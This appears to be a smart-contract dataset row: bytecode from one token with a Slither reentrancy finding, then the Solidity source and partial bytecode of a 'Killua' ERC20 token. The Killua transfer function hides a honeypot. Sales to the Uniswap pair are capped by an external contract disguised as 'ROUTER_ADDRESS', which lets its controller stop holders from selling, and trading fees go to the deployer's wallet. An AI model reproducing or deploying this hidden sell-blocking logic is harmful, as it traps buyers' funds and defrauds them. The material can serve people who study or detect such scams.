11291565b6000546001600160a01b0316331461081b5760405162461bcd60e51b81526004016105ee90611c65565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461088f5760405162461bcd60e51b81526004016105ee90611c65565b601655565b6000546001600160a01b031633146108be5760405162461bcd60e51b81526004016105ee90611c65565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109065760405162461bcd60e51b81526004016105ee90611c65565b601855565b6000546001600160a01b031633146109355760405162461bcd60e51b81526004016105ee90611c65565b600893909355600a91909155600955600b55565b600061067e338484610c96565b6012546001600160a01b0316336001600160a01b0316148061098b57506013546001600160a01b0316336001600160a01b0316145b61099457600080fd5b600061099f306107cf565b90506107cc81611315565b6000546001600160a01b031633146109d45760405162461bcd60e51b81526004016105ee90611c65565b60005b82811015610a53578160056000868685818110610a0457634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a19919061198e565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4b81611d78565b9150506109d7565b50505050565b6000546001600160a01b03163314610a835760405162461bcd60e51b81526004016105ee90611c65565b601755565b6000546001600160a01b03163314610ab25760405162461bcd60e51b81526004016105ee90611c65565b6001600160a01b038116610b175760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ee565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ee565b6001600160a01b038216610c355760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ee565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfa5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105ee565b6001600160a01b038216610d5c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105ee565b60008111610dbe5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ee565b6000546001600160a01b03848116911614801590610dea57506000546001600160a01b03838116911614155b156110cb57601554600160a01b900460ff16610e83576000546001600160a01b03848116911614610e835760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105ee565b601654811115610ed55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105ee565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1757506001600160a01b03821660009081526010602052604090205460ff16155b610f6f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105ee565b6015546001600160a01b03838116911614610ff45760175481610f91846107cf565b610f9b9190611d0a565b10610ff45760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105ee565b6000610fff306107cf565b6018546016549192508210159082106110185760165491505b80801561102f5750601554600160a81b900460ff16155b801561104957506015546001600160a01b03868116911614155b801561105e5750601554600160b01b900460ff165b801561108357506001600160a01b03851660009081526005602052604090205460ff16155b80156110a857506001600160a01b03841660009081526005602052604090205460ff16155b156110c8576110b682611315565b4780156110c6576110c64761120c565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110d57506001600160a01b03831660009081526005602052604090205460ff165b8061113f57506015546001600160a01b0385811691161480159061113f57506015546001600160a01b03848116911614155b1561114c575060006111c6565b6015546001600160a01b03858116911614801561117757506014546001600160a01b03848116911614155b1561118957600854600c55600954600d555b6015546001600160a01b0384811691161480156111b457506014546001600160a01b03858116911614155b156111c657600a54600c55600b54600d555b610a53848484846114ba565b600081848411156111f65760405162461bcd60e51b81526004016105ee9190611c12565b5060006112038486611d61565b95945050505050565b6012546001600160a01b03166108fc6112268360026114e8565b6040518115909202916000818181858888f1935050505015801561124e573d6000803e3d6000fd5b506013546001600160a01b03166108fc6112698360026114e8565b6040518115909202916000818181858888f1935050505015801561066d573d6000803e3d6000fd5b60006006548211156112f85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105ee565b600061130261152a565b905061130e83826114e8565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136b57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113bf57600080fd5b505afa1580156113d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f791906119aa565b8160018151811061141857634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201015260145461143e9130911684610b72565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611477908590600090869030904290600401611c9a565b600060405180830381600087803b15801561149157600080fd5b505af11580156114a5573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c7576114c761154d565b6114d284848461157b565b80610a5357610a53600e54600c55600f54600d55565b600061130e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611672565b60008060006115376116a0565b909250905061154682826114e8565b9250505090565b600c5415801561155d5750600d54155b1561156457565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158d876116de565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115bf908761173b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ee908661177d565b6001600160a01b038916600090815260026020526040902055611610816117dc565b61161a8483611826565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165f91815260200190565b60405180910390a3505050505050505050565b600081836116935760405162461bcd60e51b81526004016105ee9190611c12565b5060006112038486611d22565b6006546000908190662386f26fc100006116ba82826114e8565b8210156116d557505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116fb8a600c54600d5461184a565b925092509250600061170b61152a565b9050600080600061171e8e87878761189f565b919e509c509a509598509396509194505050505091939550919395565b600061130e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d2565b60008061178a8385611d0a565b90508381101561130e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ee565b60006117e661152a565b905060006117f483836118ef565b30600090815260026020526040902054909150611811908261177d565b30600090815260026020526040902055505050565b600654611833908361173b565b600655600754611843908261177d565b6007555050565b6000808080611864606461185e89896118ef565b906114e8565b90506000611877606461185e8a896118ef565b9050600061188f826118898b8661173b565b9061173b565b9992985090965090945050505050565b60008080806118ae88866118ef565b905060006118bc88876118ef565b905060006118ca88886118ef565b905060006118dc82611889868661173b565b939b939a50919850919650505050505050565b6000826118fe57506000610682565b600061190a8385611d42565b9050826119178583611d22565b1461130e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ee565b803561197981611dbf565b919050565b8035801515811461197957600080fd5b60006020828403121561199f578081fd5b813561130e81611dbf565b6000602082840312156119bb578081fd5b815161130e81611dbf565b600080604083850312156119d8578081fd5b82356119e381611dbf565b915060208301356119f381611dbf565b809150509250929050565b600080600060608486031215611a12578081fd5b8335611a1d81611dbf565b92506020840135611a2d81611dbf565b929592945050506040919091013590565b60008060408385031215611a50578182fd5b8235611a5b81611dbf565b946020939093013593505050565b600080600060408486031215611a7d578283fd5b833567ffffffffffffffff80821115611a94578485fd5b818601915086601f830112611aa7578485fd5b813581811115611ab5578586fd5b8760208260051b8501011115611ac9578586fd5b602092830195509350611adf918601905061197e565b90509250925092565b60006020808385031215611afa578182fd5b823567ffffffffffffffff80821115611b11578384fd5b818501915085601f830112611b24578384fd5b813581811115611b3657611b36611da9565b8060051b604051601f19603f83011681018181108582111715611b5b57611b5b611da9565b604052828152858101935084860182860187018a1015611b79578788fd5b8795505b83861015611ba257611b8e8161196e565b855260019590950194938601938601611b7d565b5098975050505050505050565b600060208284031215611bc0578081fd5b61130e8261197e565b600060208284031215611bda578081fd5b5035919050565b60008060008060808587031215611bf6578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c3e57858101830151858201604001528201611c22565b81811115611c4f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ce95784516001600160a01b031683529383019391830191600101611cc4565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1d57611d1d611d93565b500190565b600082611d3d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611d5c57611d5c611d93565b500290565b600082821015611d7357611d73611d93565b500390565b6000600019821415611d8c57611d8c611d93565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107cc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220399b96bd047dbfabd22c2733c6bc604da94c379d087e16ae1ea1369120d457f764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 9,230 |
0xD77F0e5603cA590d421Bd76d47eEdEeb3473353e
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/killuatoken
pragma solidity ^0.8.4;
address constant ROUTER_ADDRESS=0x690f08828a4013351DB74e916ACC16f558ED1579; // mainnet
uint256 constant TOTAL_SUPPLY=100000000 * 10**8;
address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
string constant TOKEN_NAME="Killua";
string constant TOKEN_SYMBOL="KILLUA";
uint8 constant DECIMALS=8;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface Odin{
function amount(address from) external view returns (uint256);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Killua is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private constant _burnFee=1;
uint256 private constant _taxFee=9;
address payable private _taxWallet;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _router;
address private _pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != _pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier overridden() {
require(_taxWallet == _msgSender() );
_;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS);
_router = _uniswapV2Router;
_approve(address(this), address(_router), _tTotal);
_pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
tradingOpen = true;
IERC20(_pair).approve(address(_router), type(uint).max);
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _taxWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _taxWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230a565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ecd565b61038e565b60405161014c91906122ef565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061246c565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7a565b6103bb565b6040516101b491906122ef565b60405180910390f35b3480156101c957600080fd5b506101d2610494565b6040516101df91906124e1565b60405180910390f35b3480156101f457600080fd5b506101fd61049d565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de0565b610517565b604051610233919061246c565b60405180910390f35b34801561024857600080fd5b50610251610568565b005b34801561025f57600080fd5b506102686106bb565b6040516102759190612221565b60405180910390f35b34801561028a57600080fd5b506102936106e4565b6040516102a0919061230a565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ecd565b610721565b6040516102dd91906122ef565b60405180910390f35b3480156102f257600080fd5b506102fb61073f565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3a565b610c6f565b604051610331919061246c565b60405180910390f35b34801561034657600080fd5b5061034f610cf6565b005b60606040518060400160405280600681526020017f4b696c6c75610000000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d68565b8484610d70565b6001905092915050565b6000662386f26fc10000905090565b60006103c8848484610f3b565b610489846103d4610d68565b61048485604051806060016040528060288152602001612abc60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043a610d68565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113039092919063ffffffff16565b610d70565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104de610d68565b73ffffffffffffffffffffffffffffffffffffffff16146104fe57600080fd5b600061050930610517565b905061051481611367565b50565b6000610561600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ef565b9050919050565b610570610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f4906123cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4b494c4c55410000000000000000000000000000000000000000000000000000815250905090565b600061073561072e610d68565b8484610f3b565b6001905092915050565b610747610d68565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cb906123cc565b60405180910390fd5b600b60149054906101000a900460ff1615610824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081b9061244c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b230600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16662386f26fc10000610d70565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f857600080fd5b505afa15801561090c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109309190611e0d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099257600080fd5b505afa1580156109a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ca9190611e0d565b6040518363ffffffff1660e01b81526004016109e792919061223c565b602060405180830381600087803b158015610a0157600080fd5b505af1158015610a15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a399190611e0d565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac230610517565b600080610acd6106bb565b426040518863ffffffff1660e01b8152600401610aef9695949392919061228e565b6060604051808303818588803b158015610b0857600080fd5b505af1158015610b1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b419190611f67565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c19929190612265565b602060405180830381600087803b158015610c3357600080fd5b505af1158015610c47573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6b9190611f0d565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d37610d68565b73ffffffffffffffffffffffffffffffffffffffff1614610d5757600080fd5b6000479050610d658161165d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd79061242c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e479061236c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e919061246c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa29061240c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110129061232c565b60405180910390fd5b6000811161105e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611055906123ec565b60405180910390fd5b73690f08828a4013351db74e916acc16f558ed157973ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e01b81526004016110ab9190612221565b60206040518083038186803b1580156110c357600080fd5b505afa1580156110d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110fb9190611f3a565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111a65750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b6111b15760006111b3565b815b11156111be57600080fd5b6111c66106bb565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561123457506112046106bb565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112f357600061124430610517565b9050600b60159054906101000a900460ff161580156112b15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c95750600b60169054906101000a900460ff165b156112f1576112d781611367565b600047905060008111156112ef576112ee4761165d565b5b505b505b6112fe8383836116c9565b505050565b600083831115829061134b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611342919061230a565b60405180910390fd5b506000838561135a9190612632565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561139f5761139e61278d565b5b6040519080825280602002602001820160405280156113cd5781602001602082028036833780820191505090505b50905030816000815181106113e5576113e461275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561148757600080fd5b505afa15801561149b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114bf9190611e0d565b816001815181106114d3576114d261275e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061153a30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d70565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161159e959493929190612487565b600060405180830381600087803b1580156115b857600080fd5b505af11580156115cc573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600754821115611636576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162d9061234c565b60